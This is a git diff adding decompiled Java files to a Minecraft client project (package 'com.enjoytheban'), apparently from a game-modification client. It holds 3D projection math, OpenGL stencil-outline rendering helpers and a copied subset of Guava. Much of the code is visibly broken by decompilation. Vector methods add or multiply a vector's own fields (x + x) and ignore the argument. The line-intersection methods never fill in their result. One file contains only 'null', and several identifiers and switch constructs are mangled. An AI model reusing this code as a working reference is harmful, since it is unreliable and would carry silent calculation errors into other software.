+  }
+  
+  public float getFovX()
+  {
+    return fovX;
+  }
+  
+  public float getFovY()
+  {
+    return fovY;
+  }
+  
+  public Vector3D getLookVector()
+  {
+    return lookVec;
+  }
+  
+  public Vector3D getRotationVector(double rotYaw, double rotPitch)
+  {
+    double c = Math.cos(-rotYaw * 0.01745329238474369D - 3.141592653589793D);
+    double s = Math.sin(-rotYaw * 0.01745329238474369D - 3.141592653589793D);
+    double nc = -Math.cos(-rotPitch * 0.01745329238474369D);
+    double ns = Math.sin(-rotPitch * 0.01745329238474369D);
+    return new Vector3D(s * nc, ns, c * nc);
+  }
+  
+  public static enum ClampMode
+  {
+    ORTHOGONAL,  DIRECT,  NONE;
+  }
+  
+
+
+  public static class Line
+  {
+    public GLUProjection.Vector3D sourcePoint = new GLUProjection.Vector3D(0.0D, 0.0D, 0.0D);
+    public GLUProjection.Vector3D direction = new GLUProjection.Vector3D(0.0D, 0.0D, 0.0D);
+    
+    public Line(double sx, double sy, double sz, double dx, double dy, double dz)
+    {
+      sourcePoint.x = sx;
+      sourcePoint.y = sy;
+      sourcePoint.z = sz;
+      direction.x = dx;
+      direction.y = dy;
+      direction.z = dz;
+    }
+    
+    public GLUProjection.Vector3D intersect(Line line)
+    {
+      double a = sourcePoint.x;
+      double b = direction.x;
+      double c = sourcePoint.x;
+      double d = direction.x;
+      double e = sourcePoint.y;
+      double f = direction.y;
+      double g = sourcePoint.y;
+      double h = direction.y;
+      double te = -(a * h - c * h - d * (e - g));
+      double be = b * h - d * f;
+      if (be == 0.0D) {
+        return intersectXZ(line);
+      }
+      double t = te / be;
+      GLUProjection.Vector3D result = new GLUProjection.Vector3D(0.0D, 0.0D, 0.0D);
+      x = (sourcePoint.x + direction.x * t);
+      y = (sourcePoint.y + direction.y * t);
+      z = (sourcePoint.z + direction.z * t);
+      return result;
+    }
+    
+    private GLUProjection.Vector3D intersectXZ(Line line)
+    {
+      double a = sourcePoint.x;
+      double b = direction.x;
+      double c = sourcePoint.x;
+      double d = direction.x;
+      double e = sourcePoint.z;
+      double f = direction.z;
+      double g = sourcePoint.z;
+      double h = direction.z;
+      double te = -(a * h - c * h - d * (e - g));
+      double be = b * h - d * f;
+      if (be == 0.0D) {
+        return intersectYZ(line);
+      }
+      double t = te / be;
+      GLUProjection.Vector3D result = new GLUProjection.Vector3D(0.0D, 0.0D, 0.0D);
+      x = (sourcePoint.x + direction.x * t);
+      y = (sourcePoint.y + direction.y * t);
+      z = (sourcePoint.z + direction.z * t);
+      return result;
+    }
+    
+    private GLUProjection.Vector3D intersectYZ(Line line)
+    {
+      double a = sourcePoint.y;
+      double b = direction.y;
+      double c = sourcePoint.y;
+      double d = direction.y;
+      double e = sourcePoint.z;
+      double f = direction.z;
+      double g = sourcePoint.z;
+      double h = direction.z;
+      double te = -(a * h - c * h - d * (e - g));
+      double be = b * h - d * f;
+      if (be == 0.0D) {
+        return null;
+      }
+      double t = te / be;
+      GLUProjection.Vector3D result = new GLUProjection.Vector3D(0.0D, 0.0D, 0.0D);
+      x = (sourcePoint.x + direction.x * t);
+      y = (sourcePoint.y + direction.y * t);
+      z = (sourcePoint.z + direction.z * t);
+      return result;
+    }
+    
+    public GLUProjection.Vector3D intersectPlane(GLUProjection.Vector3D pointOnPlane, GLUProjection.Vector3D planeNormal)
+    {
+      GLUProjection.Vector3D result = new GLUProjection.Vector3D(sourcePoint.x, sourcePoint.y, sourcePoint.z);
+      double d = pointOnPlane.sub(sourcePoint).dot(planeNormal) / direction.dot(planeNormal);
+      result.sadd(direction.mul(d));
+      if (direction.dot(planeNormal) == 0.0D) {
+        return null;
+      }
+      return result;
+    }
+  }
+  
+  public static class Vector3D
+  {
+    public double x;
+    public double y;
+    public double z;
+    
+    public Vector3D(double x, double y, double z)
+    {
+      this.x = x;
+      this.y = y;
+      this.z = z;
+    }
+    
+    public Vector3D add(Vector3D v)
+    {
+      return new Vector3D(x + x, y + y, z + z);
+    }
+    
+    public Vector3D add(double x, double y, double z)
+    {
+      return new Vector3D(this.x + x, this.y + y, this.z + z);
+    }
+    
+    public Vector3D sub(Vector3D v)
+    {
+      return new Vector3D(x - x, y - y, z - z);
+    }
+    
+    public Vector3D sub(double x, double y, double z)
+    {
+      return new Vector3D(this.x - x, this.y - y, this.z - z);
+    }
+    
+    public Vector3D normalized()
+    {
+      double len = Math.sqrt(x * x + y * y + z * z);
+      return new Vector3D(x / len, y / len, z / len);
+    }
+    
+    public double dot(Vector3D v)
+    {
+      return x * x + y * y + z * z;
+    }
+    
+    public Vector3D cross(Vector3D v)
+    {
+      return new Vector3D(y * z - z * y, z * x - x * z, x * y - y * x);
+    }
+    
+    public Vector3D mul(double m)
+    {
+      return new Vector3D(x * m, y * m, z * m);
+    }
+    
+    public Vector3D div(double d)
+    {
+      return new Vector3D(x / d, y / d, z / d);
+    }
+    
+    public double length()
+    {
+      return Math.sqrt(x * x + y * y + z * z);
+    }
+    
+    public Vector3D sadd(Vector3D v)
+    {
+      x += x;
+      y += y;
+      z += z;
+      return this;
+    }
+    
+    public Vector3D sadd(double x, double y, double z)
+    {
+      this.x += x;
+      this.y += y;
+      this.z += z;
+      return this;
+    }
+    
+    public Vector3D ssub(Vector3D v)
+    {
+      x -= x;
+      y -= y;
+      z -= z;
+      return this;
+    }
+    
+    public Vector3D ssub(double x, double y, double z)
+    {
+      this.x -= x;
+      this.y -= y;
+      this.z -= z;
+      return this;
+    }
+    
+    public Vector3D snormalize()
+    {
+      double len = Math.sqrt(x * x + y * y + z * z);
+      x /= len;
+      y /= len;
+      z /= len;
+      return this;
+    }
+    
+    public Vector3D scross(Vector3D v)
+    {
+      x = (y * z - z * y);
+      y = (z * x - x * z);
+      z = (x * y - y * x);
+      return this;
+    }
+    
+    public Vector3D smul(double m)
+    {
+      x *= m;
+      y *= m;
+      z *= m;
+      return this;
+    }
+    
+    public Vector3D sdiv(double d)
+    {
+      x /= d;
+      y /= d;
+      z /= d;
+      return this;
+    }
+    
+    public String toString()
+    {
+      return "(X: " + x + " Y: " + y + " Z: " + z + ")";
+    }
+  }
+  
+  public static class Projection
+  {
+    private final double x;
+    private final double y;
+    private final Type t;
+    
+    public Projection(double x, double y, Type t)
+    {
+      this.x = x;
+      this.y = y;
+      this.t = t;
+    }
+    
+    public double getX()
+    {
+      return x;
+    }
+    
+    public double getY()
+    {
+      return y;
+    }
+    
+    public Type getType()
+    {
+      return t;
+    }
+    
+    public boolean isType(Type type)
+    {
+      return t == type;
+    }
+    
+    public static enum Type
+    {
+      INSIDE,  OUTSIDE,  INVERTED,  FAIL;
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/OutlineUtils.java b/src/minecraft/com/enjoytheban/utils/render/OutlineUtils.java
new file mode 100644
index 0000000..1501184
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/OutlineUtils.java
@@ -0,0 +1,127 @@
+package com.enjoytheban.utils.render;
+
+import java.awt.Color;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.shader.Framebuffer;
+import org.lwjgl.opengl.EXTFramebufferObject;
+import org.lwjgl.opengl.GL11;
+
+
+public class OutlineUtils
+{
+  public OutlineUtils() {}
+  
+  public static void renderOne()
+  {
+    checkSetupFBO();
+    GL11.glPushAttrib(1048575);
+    GL11.glDisable(3008);
+    GL11.glDisable(3553);
+    GL11.glDisable(2896);
+    GL11.glEnable(3042);
+    GL11.glBlendFunc(770, 771);
+    GL11.glLineWidth(3.0F);
+    GL11.glEnable(2848);
+    GL11.glEnable(2960);
+    GL11.glClear(1024);
+    GL11.glClearStencil(15);
+    GL11.glStencilFunc(512, 1, 15);
+    GL11.glStencilOp(7681, 7681, 7681);
+    GL11.glPolygonMode(1032, 6913);
+  }
+  
+  public static void renderTwo()
+  {
+    GL11.glStencilFunc(512, 0, 15);
+    GL11.glStencilOp(7681, 7681, 7681);
+    GL11.glPolygonMode(1032, 6914);
+  }
+  
+  public static void renderThree()
+  {
+    GL11.glStencilFunc(514, 1, 15);
+    GL11.glStencilOp(7680, 7680, 7680);
+    GL11.glPolygonMode(1032, 6913);
+  }
+  
+  public static void renderFour()
+  {
+    setColor(new Color(255, 255, 255));
+    GL11.glDepthMask(false);
+    GL11.glDisable(2929);
+    GL11.glEnable(10754);
+    GL11.glPolygonOffset(1.0F, -2000000.0F);
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, 240.0F, 240.0F);
+  }
+  
+  public static void renderFive()
+  {
+    GL11.glPolygonOffset(1.0F, 2000000.0F);
+    GL11.glDisable(10754);
+    GL11.glEnable(2929);
+    GL11.glDepthMask(true);
+    GL11.glDisable(2960);
+    GL11.glDisable(2848);
+    GL11.glHint(3154, 4352);
+    GL11.glEnable(3042);
+    GL11.glEnable(2896);
+    GL11.glEnable(3553);
+    GL11.glEnable(3008);
+    GL11.glPopAttrib();
+  }
+  
+  public static void setColor(Color c)
+  {
+    GL11.glColor4d(c.getRed() / 255.0F, c.getGreen() / 255.0F, c.getBlue() / 255.0F, c.getAlpha() / 255.0F);
+  }
+  
+
+  public static void checkSetupFBO()
+  {
+    Framebuffer fbo = Minecraft.getMinecraft().getFramebuffer();
+    
+
+    if (fbo != null)
+    {
+
+      if (depthBuffer > -1)
+      {
+
+        setupFBO(fbo);
+        
+        depthBuffer = -1;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void setupFBO(Framebuffer fbo)
+  {
+    EXTFramebufferObject.glDeleteRenderbuffersEXT(depthBuffer);
+    
+    int stencil_depth_buffer_ID = EXTFramebufferObject.glGenRenderbuffersEXT();
+    
+
+    EXTFramebufferObject.glBindRenderbufferEXT(36161, stencil_depth_buffer_ID);
+    
+
+
+    EXTFramebufferObject.glRenderbufferStorageEXT(36161, 34041, getMinecraftdisplayWidth, getMinecraftdisplayHeight);
+    
+
+
+    EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36128, 36161, stencil_depth_buffer_ID);
+    
+
+
+    EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36096, 36161, stencil_depth_buffer_ID);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/RenderUtil.java b/src/minecraft/com/enjoytheban/utils/render/RenderUtil.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/RenderUtil.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/enjoytheban/utils/render/gl/GLClientState.java b/src/minecraft/com/enjoytheban/utils/render/gl/GLClientState.java
new file mode 100644
index 0000000..12a3c2a
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/gl/GLClientState.java
@@ -0,0 +1,41 @@
+package com.enjoytheban.utils.render.gl;
+
+
+
+
+
+
+
+
+
+
+public enum GLClientState
+  implements GLenum
+{
+  COLOR("GL_COLOR_ARRAY", 32886), 
+  EDGE("GL_EDGE_FLAG_ARRAY", 32889), 
+  FOG("GL_FOG_COORD_ARRAY", 33879), 
+  INDEX("GL_INDEX_ARRAY", 32887), 
+  NORMAL("GL_NORMAL_ARRAY", 32885), 
+  SECONDARY_COLOR("GL_SECONDARY_COLOR_ARRAY", 33886), 
+  TEXTURE("GL_TEXTURE_COORD_ARRAY", 32888), 
+  VERTEX("GL_VERTEX_ARRAY", 32884);
+  
+  private final String name;
+  private final int cap;
+  
+  private GLClientState(String name, int cap) {
+    this.name = name;
+    this.cap = cap;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public int getCap()
+  {
+    return cap;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/gl/GLColor.java b/src/minecraft/com/enjoytheban/utils/render/gl/GLColor.java
new file mode 100644
index 0000000..13f44fb
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/gl/GLColor.java
@@ -0,0 +1,24 @@
+package com.enjoytheban.utils.render.gl;
+
+import org.lwjgl.opengl.GL11;
+
+
+
+
+
+
+
+
+public class GLColor
+{
+  public GLColor() {}
+  
+  public static void color(int color)
+  {
+    float alpha = (color >> 24 & 0xFF) / 255.0F;
+    float red = (color >> 16 & 0xFF) / 255.0F;
+    float green = (color >> 8 & 0xFF) / 255.0F;
+    float blue = (color & 0xFF) / 255.0F;
+    GL11.glColor4f(red, green, blue, alpha);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/gl/GLUtils.java b/src/minecraft/com/enjoytheban/utils/render/gl/GLUtils.java
new file mode 100644
index 0000000..41c247c
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/gl/GLUtils.java
@@ -0,0 +1,187 @@
+package com.enjoytheban.utils.render.gl;
+
+import com.enjoytheban.utils.math.Vec3f;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import net.minecraft.client.renderer.GlStateManager;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.Display;
+import org.lwjgl.util.glu.GLU;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class GLUtils
+{
+  public static final FloatBuffer MODELVIEW = BufferUtils.createFloatBuffer(16);
+  public static final FloatBuffer PROJECTION = BufferUtils.createFloatBuffer(16);
+  public static final IntBuffer VIEWPORT = BufferUtils.createIntBuffer(16);
+  public static final FloatBuffer TO_SCREEN_BUFFER = BufferUtils.createFloatBuffer(3);
+  public static final FloatBuffer TO_WORLD_BUFFER = BufferUtils.createFloatBuffer(3);
+  
+
+
+  private GLUtils() {}
+  
+
+  public static void init() {}
+  
+
+  public static float[] getColor(int hex)
+  {
+    return new float[] {
+      (hex >> 16 & 0xFF) / 255.0F, 
+      (hex >> 8 & 0xFF) / 255.0F, 
+      (hex & 0xFF) / 255.0F, 
+      (hex >> 24 & 0xFF) / 255.0F };
+  }
+  
+
+
+
+
+
+  public static void glColor(int hex)
+  {
+    float[] color = getColor(hex);
+    GlStateManager.color(color[0], color[1], color[2], color[3]);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void rotateX(float angle, double x, double y, double z)
+  {
+    GlStateManager.translate(x, y, z);
+    GlStateManager.rotate(angle, 1.0F, 0.0F, 0.0F);
+    GlStateManager.translate(-x, -y, -z);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void rotateY(float angle, double x, double y, double z)
+  {
+    GlStateManager.translate(x, y, z);
+    GlStateManager.rotate(angle, 0.0F, 1.0F, 0.0F);
+    GlStateManager.translate(-x, -y, -z);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void rotateZ(float angle, double x, double y, double z)
+  {
+    GlStateManager.translate(x, y, z);
+    GlStateManager.rotate(angle, 0.0F, 0.0F, 1.0F);
+    GlStateManager.translate(-x, -y, -z);
+  }
+  
+
+
+
+
+
+
+  public static Vec3f toScreen(Vec3f pos)
+  {
+    return toScreen(pos.getX(), pos.getY(), pos.getZ());
+  }
+  
+
+
+
+
+
+
+
+
+  public static Vec3f toScreen(double x, double y, double z)
+  {
+    boolean result = GLU.gluProject((float)x, (float)y, (float)z, MODELVIEW, PROJECTION, VIEWPORT, (FloatBuffer)TO_SCREEN_BUFFER.clear());
+    if (result) {
+      return new Vec3f(TO_SCREEN_BUFFER.get(0), Display.getHeight() - TO_SCREEN_BUFFER.get(1), TO_SCREEN_BUFFER.get(2));
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+  public static Vec3f toWorld(Vec3f pos)
+  {
+    return toWorld(pos.getX(), pos.getY(), pos.getZ());
+  }
+  
+
+
+
+
+
+
+
+  public static Vec3f toWorld(double x, double y, double z)
+  {
+    boolean result = GLU.gluUnProject((float)x, (float)y, (float)z, MODELVIEW, PROJECTION, VIEWPORT, (FloatBuffer)TO_WORLD_BUFFER.clear());
+    if (result) {
+      return new Vec3f(TO_WORLD_BUFFER.get(0), TO_WORLD_BUFFER.get(1), TO_WORLD_BUFFER.get(2));
+    }
+    return null;
+  }
+  
+
+
+
+
+  public static FloatBuffer getModelview()
+  {
+    return MODELVIEW;
+  }
+  
+
+
+
+
+  public static FloatBuffer getProjection()
+  {
+    return PROJECTION;
+  }
+  
+
+
+
+
+  public static IntBuffer getViewport()
+  {
+    return VIEWPORT;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/utils/render/gl/GLenum.java b/src/minecraft/com/enjoytheban/utils/render/gl/GLenum.java
new file mode 100644
index 0000000..e750521
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/utils/render/gl/GLenum.java
@@ -0,0 +1,8 @@
+package com.enjoytheban.utils.render.gl;
+
+public abstract interface GLenum
+{
+  public abstract String getName();
+  
+  public abstract int getCap();
+}
diff --git a/src/minecraft/com/google/common/annotations/Beta.java b/src/minecraft/com/google/common/annotations/Beta.java
new file mode 100644
index 0000000..87ecd03
--- /dev/null
+++ b/src/minecraft/com/google/common/annotations/Beta.java
@@ -0,0 +1,13 @@
+package com.google.common.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.CLASS)
+@Target({java.lang.annotation.ElementType.ANNOTATION_TYPE, java.lang.annotation.ElementType.CONSTRUCTOR, java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.TYPE})
+@Documented
+@GwtCompatible
+public @interface Beta {}
diff --git a/src/minecraft/com/google/common/annotations/GwtCompatible.java b/src/minecraft/com/google/common/annotations/GwtCompatible.java
new file mode 100644
index 0000000..7ea6710
--- /dev/null
+++ b/src/minecraft/com/google/common/annotations/GwtCompatible.java
@@ -0,0 +1,18 @@
+package com.google.common.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.CLASS)
+@Target({java.lang.annotation.ElementType.TYPE, java.lang.annotation.ElementType.METHOD})
+@Documented
+@GwtCompatible
+public @interface GwtCompatible
+{
+  boolean serializable() default false;
+  
+  boolean emulated() default false;
+}
diff --git a/src/minecraft/com/google/common/annotations/GwtIncompatible.java b/src/minecraft/com/google/common/annotations/GwtIncompatible.java
new file mode 100644
index 0000000..321d5c5
--- /dev/null
+++ b/src/minecraft/com/google/common/annotations/GwtIncompatible.java
@@ -0,0 +1,16 @@
+package com.google.common.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.CLASS)
+@Target({java.lang.annotation.ElementType.TYPE, java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.CONSTRUCTOR, java.lang.annotation.ElementType.FIELD})
+@Documented
+@GwtCompatible
+public @interface GwtIncompatible
+{
+  String value();
+}
diff --git a/src/minecraft/com/google/common/annotations/VisibleForTesting.java b/src/minecraft/com/google/common/annotations/VisibleForTesting.java
new file mode 100644
index 0000000..86df0c7
--- /dev/null
+++ b/src/minecraft/com/google/common/annotations/VisibleForTesting.java
@@ -0,0 +1,6 @@
+package com.google.common.annotations;
+
+import java.lang.annotation.Annotation;
+
+@GwtCompatible
+public @interface VisibleForTesting {}
diff --git a/src/minecraft/com/google/common/base/Absent.java b/src/minecraft/com/google/common/base/Absent.java
new file mode 100644
index 0000000..9dddc37
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Absent.java
@@ -0,0 +1,92 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collections;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class Absent<T>
+  extends Optional<T>
+{
+  static final Absent<Object> INSTANCE = new Absent();
+  private static final long serialVersionUID = 0L;
+  
+  static <T> Optional<T> withType() {
+    return INSTANCE;
+  }
+  
+  private Absent() {}
+  
+  public boolean isPresent() {
+    return false;
+  }
+  
+  public T get() {
+    throw new IllegalStateException("Optional.get() cannot be called on an absent value");
+  }
+  
+  public T or(T defaultValue) {
+    return Preconditions.checkNotNull(defaultValue, "use Optional.orNull() instead of Optional.or(null)");
+  }
+  
+  public Optional<T> or(Optional<? extends T> secondChoice)
+  {
+    return (Optional)Preconditions.checkNotNull(secondChoice);
+  }
+  
+  public T or(Supplier<? extends T> supplier) {
+    return Preconditions.checkNotNull(supplier.get(), "use Optional.orNull() instead of a Supplier that returns null");
+  }
+  
+  @Nullable
+  public T orNull() {
+    return null;
+  }
+  
+  public Set<T> asSet() {
+    return Collections.emptySet();
+  }
+  
+  public <V> Optional<V> transform(Function<? super T, V> function) {
+    Preconditions.checkNotNull(function);
+    return Optional.absent();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    return object == this;
+  }
+  
+  public int hashCode() {
+    return 1502476572;
+  }
+  
+  public String toString() {
+    return "Optional.absent()";
+  }
+  
+  private Object readResolve() {
+    return INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/google/common/base/AbstractIterator.java b/src/minecraft/com/google/common/base/AbstractIterator.java
new file mode 100644
index 0000000..b91724e
--- /dev/null
+++ b/src/minecraft/com/google/common/base/AbstractIterator.java
@@ -0,0 +1,86 @@
+package com.google.common.base;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class AbstractIterator<T>
+  implements Iterator<T>
+{
+  private State state = State.NOT_READY;
+  private T next;
+  protected AbstractIterator() {}
+  
+  private static enum State {
+    READY,  NOT_READY,  DONE,  FAILED;
+    
+    private State() {}
+  }
+  
+  protected abstract T computeNext();
+  
+  protected final T endOfData() {
+    state = State.DONE;
+    return null;
+  }
+  
+  public final boolean hasNext()
+  {
+    Preconditions.checkState(state != State.FAILED);
+    switch (1.$SwitchMap$com$google$common$base$AbstractIterator$State[state.ordinal()]) {
+    case 1: 
+      return false;
+    case 2: 
+      return true;
+    }
+    
+    return tryToComputeNext();
+  }
+  
+  private boolean tryToComputeNext() {
+    state = State.FAILED;
+    next = computeNext();
+    if (state != State.DONE) {
+      state = State.READY;
+      return true;
+    }
+    return false;
+  }
+  
+  public final T next()
+  {
+    if (!hasNext()) {
+      throw new NoSuchElementException();
+    }
+    state = State.NOT_READY;
+    T result = next;
+    next = null;
+    return result;
+  }
+  
+  public final void remove() {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/base/Ascii.java b/src/minecraft/com/google/common/base/Ascii.java
new file mode 100644
index 0000000..b9abb78
--- /dev/null
+++ b/src/minecraft/com/google/common/base/Ascii.java
@@ -0,0 +1,667 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.CheckReturnValue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Ascii
+{
+  public static final byte NUL = 0;
+  public static final byte SOH = 1;
+  public static final byte STX = 2;
+  public static final byte ETX = 3;
+  public static final byte EOT = 4;
+  public static final byte ENQ = 5;
+  public static final byte ACK = 6;
+  public static final byte BEL = 7;
+  public static final byte BS = 8;
+  public static final byte HT = 9;
+  public static final byte LF = 10;
+  public static final byte NL = 10;
+  public static final byte VT = 11;
+  public static final byte FF = 12;
+  public static final byte CR = 13;
+  public static final byte SO = 14;
+  public static final byte SI = 15;
+  public static final byte DLE = 16;
+  public static final byte DC1 = 17;
+  public static final byte XON = 17;
+  public static final byte DC2 = 18;
+  public static final byte DC3 = 19;
+  public static final byte XOFF = 19;
+  public static final byte DC4 = 20;
+  public static final byte NAK = 21;
+  public static final byte SYN = 22;
+  public static final byte ETB = 23;
+  public static final byte CAN = 24;
+  public static final byte EM = 25;
+  public static final byte SUB = 26;
+  public static final byte ESC = 27;
+  public static final byte FS = 28;
+  public static final byte GS = 29;
+  public static final byte RS = 30;
+  public static final byte US = 31;
+  public static final byte SP = 32;
+  public static final byte SPACE = 32;
+  public static final byte DEL = 127;
+  public static final char MIN = '\000';
+  public static final char MAX = '';
+  
+  private Ascii() {}
+  
+  public static String toLowerCase(String string)
+  {
+    int length = string.length();
+    for (int i = 0; i < length; i++) {
+      if (isUpperCase(string.charAt(i))) {
+        char[] chars = string.toCharArray();
+        for (; i < length; i++) {
+          char c = chars[i];
+          if (isUpperCase(c)) {
+            chars[i] = ((char)(c ^ 0x20));
+          }
+        }
+        return String.valueOf(chars);
+      }
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+  public static String toLowerCase(CharSequence chars)
+  {
+    if ((chars instanceof String)) {
+      return toLowerCase((String)chars);
+    }
+    int length = chars.length();
+    StringBuilder builder = new StringBuilder(length);
+    for (int i = 0; i < length; i++) {
+      builder.append(toLowerCase(chars.charAt(i)));
+    }
+    return builder.toString();
+  }
+  
+
+
+
+  public static char toLowerCase(char c)
+  {
+    return isUpperCase(c) ? (char)(c ^ 0x20) : c;
+  }
+  
+
+
+
+
+  public static String toUpperCase(String string)
+  {
+    int length = string.length();
+    for (int i = 0; i < length; i++) {
+      if (isLowerCase(string.charAt(i))) {
+        char[] chars = string.toCharArray();
+        for (; i < length; i++) {
+          char c = chars[i];
+          if (isLowerCase(c)) {
+            chars[i] = ((char)(c & 0x5F));
+          }
+        }
+        return String.valueOf(chars);
+      }
+    }
+    return string;
+  }
+  
+
+
+
+
+
+
+  public static String toUpperCase(CharSequence chars)
+  {
+    if ((chars instanceof String)) {
+      return toUpperCase((String)chars);
+    }
+    int length = chars.length();
+    StringBuilder builder = new StringBuilder(length);
+    for (int i = 0; i < length; i++) {
+      builder.append(toUpperCase(chars.charAt(i)));
+    }
+    return builder.toString();
+  }
+  
+
+
+
+  public static char toUpperCase(char c)
+  {
+    return isLowerCase(c) ? (char)(c & 0x5F) : c;
+  }
+  
+
+
+
+
+
+
+  public static boolean isLowerCase(char c)
+  {
+    return (c >= 'a') && (c <= 'z');
+  }
+  
+
+
+
+
+  public static boolean isUpperCase(char c)
+  {
+    return (c >= 'A') && (c <= 'Z');
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @CheckReturnValue
+  @Beta
+  public static String truncate(CharSequence seq, int maxLength, String truncationIndicator)
+  {
+    Preconditions.checkNotNull(seq);
+    
+
+    int truncationLength = maxLength - truncationIndicator.length();
+    
+
+
+    Preconditions.checkArgument(truncationLength >= 0, "maxLength (%s) must be >= length of the truncation indicator (%s)", new Object[] { Integer.valueOf(maxLength), Integer.valueOf(truncationIndicator.length()) });
+    
+
+
+    if (seq.length() <= maxLength) {
+      String string = seq.toString();
+      if (string.length() <= maxLength) {
+        return string;
+      }
+      
+      seq = string;
+    }
+    
+    return truncationIndicator;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static boolean equalsIgnoreCase(CharSequence s1, CharSequence s2)
+  {
+    int length = s1.length();
+    if (s1 == s2) {
+      return true;
+    }
+    if (length != s2.length()) {
+      return false;
+    }
+    for (int i = 0; i < length; i++) {
+      char c1 = s1.charAt(i);
+      char c2 = s2.charAt(i);
+      if (c1 != c2)
+      {
+
+        int alphaIndex = getAlphaIndex(c1);
+        
+
+        if ((alphaIndex >= 26) || (alphaIndex != getAlphaIndex(c2)))
+        {
+
+          return false; }
+      } }
+    return true;
+  }
+  
+
+
+
+
+
+  private static int getAlphaIndex(char c)
+  {
+    return (char)((c | 0x20) - 'a');
+  }
+}
diff --git a/src/minecraft/com/google/common/base/CaseFormat.java b/src/minecraft/com/google/common/base/CaseFormat.java
new file mode 100644
index 0000000..ff56c10
--- /dev/null
+++ b/src/minecraft/com/google/common/base/CaseFormat.java
@@ -0,0 +1,212 @@
+package com.google.common.base;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public enum CaseFormat
